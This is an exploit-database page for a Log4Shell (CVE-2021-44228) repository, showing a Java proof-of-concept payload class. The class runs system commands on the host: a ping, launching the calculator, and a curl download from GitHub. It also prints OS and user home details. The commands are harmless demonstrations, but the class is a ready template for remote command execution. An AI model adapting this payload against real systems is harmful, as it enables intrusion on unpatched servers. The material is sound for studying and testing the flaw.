Exploit databaseDownload repository ZIP
GH-bd1810c7d0243bae257303dcd2688afa
kali-dass/cve-2021-44228-log4shell
Sources for CVE-2021-44228
240 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files3
kali-dass/cve-2021-44228-log4shellRevision 9c565f32510d
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
src/main/java/ExploitTest.java
Java · 3,009 bytesimport java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStreamReader;
public class ExploitTest {
public static void main (String [] args) throws IOException, InterruptedException{
// ping google 4 times
String [] command1 = {"ping", "-c 4","google.com"};
// open calculator application
String[] command2 =System.getProperty("os.name").toLowerCase().contains("win")
? new String[]{"cmd.exe","/c", "calc.exe"}
: new String[]{"open","/System/Applications/Calculator.app"};
// run curl command
String[] command3 ={"curl", "-O", "-l","https://raw.githubusercontent.com/kali-dass/CVE-2021-44228-log4Shell/master/README.md"};
// command 1
ProcessBuilder processBuilder = new ProcessBuilder(command1);
processBuilder.directory(new File(System.getProperty("user.home")));
try {
Process process = processBuilder.start();
BufferedReader reader =
new BufferedReader (new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
int exitCode = process.waitFor();
System.out.println ("\nExited command 1 with error code : " + exitCode);
// print operating system details
System.out.println(System.getProperty("os.name"));
System.out.println(System.getProperty("os.version"));
System.out.println(System.getProperty("os.arch"));
// print user details
System.out.println(System.getProperty("user.home"));
} catch (IOException e) {
e.printStackTrace();
}
// command 2
try {
int exitCode = java.lang.Runtime.getRuntime().exec(command2).waitFor();
System.out.println ("\nExited command 2 with error code : " + exitCode);
} catch (IOException e) {
e.printStackTrace();
}
// command 3
processBuilder = new ProcessBuilder(command3);
processBuilder.directory(new File(System.getProperty("user.home")));
try {
Process process = processBuilder.start();
BufferedReader reader =
new BufferedReader (new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
int exitCode = process.waitFor();
System.out.println ("\nExited command 3 with error code : " + exitCode);
} catch (IOException e) {
e.printStackTrace();
}
}
}